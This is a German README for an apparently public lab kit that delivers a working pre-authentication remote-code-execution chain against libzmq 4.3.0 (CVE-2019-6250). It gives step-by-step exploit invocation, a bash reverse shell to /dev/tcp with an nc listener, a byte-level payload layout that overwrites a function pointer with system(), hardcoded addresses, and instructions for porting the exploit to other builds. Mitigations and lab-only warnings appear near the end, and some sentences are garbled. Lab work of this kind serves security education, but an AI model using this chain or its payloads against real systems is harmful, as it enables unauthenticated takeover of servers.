
End-to-End-Pre-Auth-RCE-Lab für CVE-2019-6250 (libzmq <= 4.3.0, ZMTP/2.0-Wire-Protokoll)
Durchgängig funktionierende RCE-Kette + reproduzierbares Labor für CVE-2019-6250, den Pre-Auth-Heap-Buffer-Overflow in v2_decoder_t::size_ready von libzmq. Ein uint64_t-Pointer-Arithmetik-Überlauf erlaubt es einem nicht authentifizierten Peer, den benachbarten Funktionszeiger msg_t::content_t::ffn im ZMTP/2.0-Wire-Pfad zu überschreiben und ihn dann über das Schließen des TCP-Sockets auszulösen: ~v2_decoder_t() → → .
_in_progress.close()system(cmd)Von Nicolas Krassas (@dinosn).
Nur für den Laboreinsatz. Dieses Kit enthält eine absichtlich verwundbare libzmq 4.3.0. Port 5555 nicht außerhalb des Labors freigeben. Der Fehler wurde vor sieben Jahren in libzmq 4.3.1 behoben (Commit
1a2ed127).
system()-Kette — Datei-Beweis


docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
-p 5555:5555 cve-2019-6250-lab
# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250 # <-- created by the libzmq server process
sudo ./setup.sh # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555 # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250
# terminal 1 — listener
nc -lvnp 4444
# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'
Es sollte in etwa Folgendes angezeigt werden:
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
Die Zeile cannot set terminal process group (1355844) bestätigt, dass die Shell vom libzmq-Zielprozess (PID 1355844) gestartet wurde und nicht von etwas, das Sie lokal ausgeführt haben.
.
├── README.md # you are here
├── server.c # tiny PULL listener — the vulnerable target
├── exploit.py # full RCE chain
├── setup.sh # bare-metal provisioner (clones + builds libzmq 4.3.0)
├── start_server.sh # start/restart the target
├── read_addresses.sh # regenerate the address profile for a different image
├── run_lab_test.sh # automated end-to-end smoke test (CI-friendly)
├── Dockerfile # one-command containerised lab
└── screenshots/ # README screenshots (generated with charmbracelet/freeze)
src/v2_decoder.cpp:117 (libzmq 4.3.0):
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ // <-- wraps
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); // safe path
} else {
rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// zero-copy aliasing path — _in_progress.data() == read_pos_
}
msg_size_ ist das vom Angreifer kontrollierte Big-Endian-uint64_t aus dem ZMTP/2.0-LARGE-Frame-Header. Mit msg_size_ = 0xFFFFFFFFFFFFFFFF läuft die Summe read_pos_ + msg_size_ modulo 2⁶⁴ über und liegt damit unterhalb der rechten Seite. Die Grenzprüfung ergibt false → die Ausführung fällt in den Zero-Copy-Pfad → die _in_progress-Nachricht aliasiert den Empfangspuffer. Der Decoder fordert dann vom Kernel 0xFFFFFFFFFFFFFFFF weitere Bytes an read_pos_ an, und recv() schreibt unsere Payload bereitwillig über das Ende des Empfangspuffers hinaus in das benachbarte content_t[]-Array (das im selben malloc()-Chunk in decoder_allocators.cpp:88 allokiert wurde).
[ atomic_counter_t (refcnt) ] 8 bytes
[ recv buffer ] 8192 bytes ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
↑ content_t[0] starts at read_pos_+8183
Wir senden 8224 Payload-Bytes, die so strukturiert sind, dass:
| Payload-Offset | Bytes | überschreibt |
|---|---|---|
[0:16] | Padding | (im Empfangspuffer) |
[16:K] | Befehlszeichenkette + NUL | (im Empfangspuffer — Argument für system) |
[K:8183] | Padding | (im Empfangspuffer) |
[8183:8191] | read_pos+16 | content_t[0].data (→ Befehl) |
[8191:8199] | 0 | content_t[0].size |
[8199:8207] | &system | content_t[0].ffn (Kontrollflussziel) |
[8207:8215] | 0 | content_t[0].hint |
[8215:8223] | 0 | content_t[0].refcnt |
Wenn wir den TCP-Socket schließen, ruft ~v2_decoder_t() des Servers _in_progress.close() auf. In msg_t::close:
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
content->ffn(content->data, content->hint); // -> system(cmd)
}
init_external_storage setzt _u.zclmsg.flags = 0, sodass der OR-Kurzschluss sofort den Zweig nimmt — refcnt wird nicht einmal geprüft. Unser überschriebenes ffn wird ausgeführt.
Kein ROP, kein Shellcode, kein Info-Leak: nur eine libc-Symbolauflösung und eine Inline-Befehlszeichenkette.
v2_decoder_t pre-auth erreichenEin Blick auf stream_engine.cpp:707:
bool zmq::stream_engine_t::handshake_v2_0 ()
{
if (_session->zap_enabled ()) { error (...); return false; }
_encoder = new v2_encoder_t (...);
_decoder = new v2_decoder_t (...); // <-- NO mechanism object
return true;
}
Der ZMTP/2.0-Pfad instanziiert v2_decoder_t ohne Mechanismus. Nur ZAP lehnt 2.0-Verbindungen ab, und ZAP ist standardmäßig deaktiviert. Sobald ein Peer das 12 Byte große ZMTP/2.0-Greeting sendet (0xff + 8 Nullen + 0x7f + Revision 0x01 + Socket-Typ), wird jedes weitere Byte von v2_decoder_t geparst. Keine Authentifizierung. Kein Handshake. Keine Mechanismus-Zustandsmaschine.
Optional: Bauen Sie mit -fsanitize=address und beobachten Sie den Heap-Buffer-Overflow-Bericht:

Der Eintrag 0 bytes after 18160-byte region bestätigt die von uns berechnete Chunk-Größe: 8 (atomic_counter) + 8192 (Empfangspuffer) + 249 × 40 (content_t-Array) = 18160. Die Allokationsstelle bei handshake_v2_0:719 bestätigt, dass der Fehler auf dem Pre-Auth-ZMTP/2.0-Pfad ausgelöst wird.
Mit kernel.randomize_va_space=0 liegen die libc-Basis, die libzmq-Basis, der Heap und die malloc-Arena des I/O-Threads alle an deterministischen Adressen. Das Standardprofil in exploit.py (DEFAULT_PROFILE) wurde für den mitgelieferten Lab-Build erfasst (Debian 12 / Kali 2024.1 / glibc 2.38, libzmq 4.3.0 im Release-Modus -O2):
| Feld | Wert | Quelle |
|---|---|---|
libc_base | 0x7ffff7c00000 | /proc/<pid>/maps |
system_off | 0x53910 | nm -D /lib/x86_64-linux-gnu/libc.so.6 |
read_pos | 0x7ffff000bbc1 | _buf + sizeof(atomic_counter_t) + 9 |
dist_to_content | 8183 | aus dem Layout abgeleitet |
cmd_offset | 16 | wo in der Payload wir den Befehl platzieren |
Beim Übertragen auf einen anderen glibc-/libzmq-Build führen Sie nach start_server.sh ./read_addresses.sh > profile.json aus und übergeben dann --profile profile.json an den Exploit.
Bei einem realen Angriff bräuchte man entweder ein Info-Leak-Primitive oder einen One-Gadget-Aufruf, der keine Argumentkontrolle erfordert. Beides liegt außerhalb des Rahmens dieses Labors — das Ziel hier ist es, die Pipeline vom Fehler zur Shell sauber zu demonstrieren, nicht ASLR zu überwinden.
| Maßnahme | Wirkung |
|---|---|
| Upgrade auf libzmq ≥ 4.3.1 | Behoben. Commit 1a2ed127 schreibt die Grenzprüfung als msg_size_ > size_t(allocator.data()+size()-read_pos_) neu — kein Überlauf möglich. |
zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) mit einem beliebigen positiven n | Mildernd. Setzt die defekte Grenzprüfung außer Kraft, bevor sie überlaufen kann. |
| ZAP-Authentifizierung aktivieren | Blockiert ZMTP/2.0-Verbindungen (abgelehnt bei stream_engine.cpp:709). Behebt den Fehler nicht; verhindert nur den nicht authentifizierten Pfad. |
| ASLR | Verlangsamt die Waffenisierung, verhindert sie aber nicht — das Ketten-Primitive selbst bleibt unberührt. |
| Stack-Canaries / NX / RELRO | Keine dieser Maßnahmen schützt vor einer Heap-Funktionszeiger-Übernahme. |
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2 # restore default ASLR
Nicolas Krassas — @dinosn
MIT © Nicolas Krassas. Der absichtlich verwundbare libzmq-4.3.0-Quellcode wird zur Build-Zeit aus dem Upstream-Repository unter LGPLv3-mit-Ausnahmen / MPLv2 bezogen — dessen Lizenz gilt für diesen Code separat.
Nur für defensive Sicherheitsforschung, Bildung und autorisierte Sicherheitstests. Stellen Sie den gebündelten verwundbaren Build nicht außerhalb einer abgeschlossenen Laborumgebung bereit.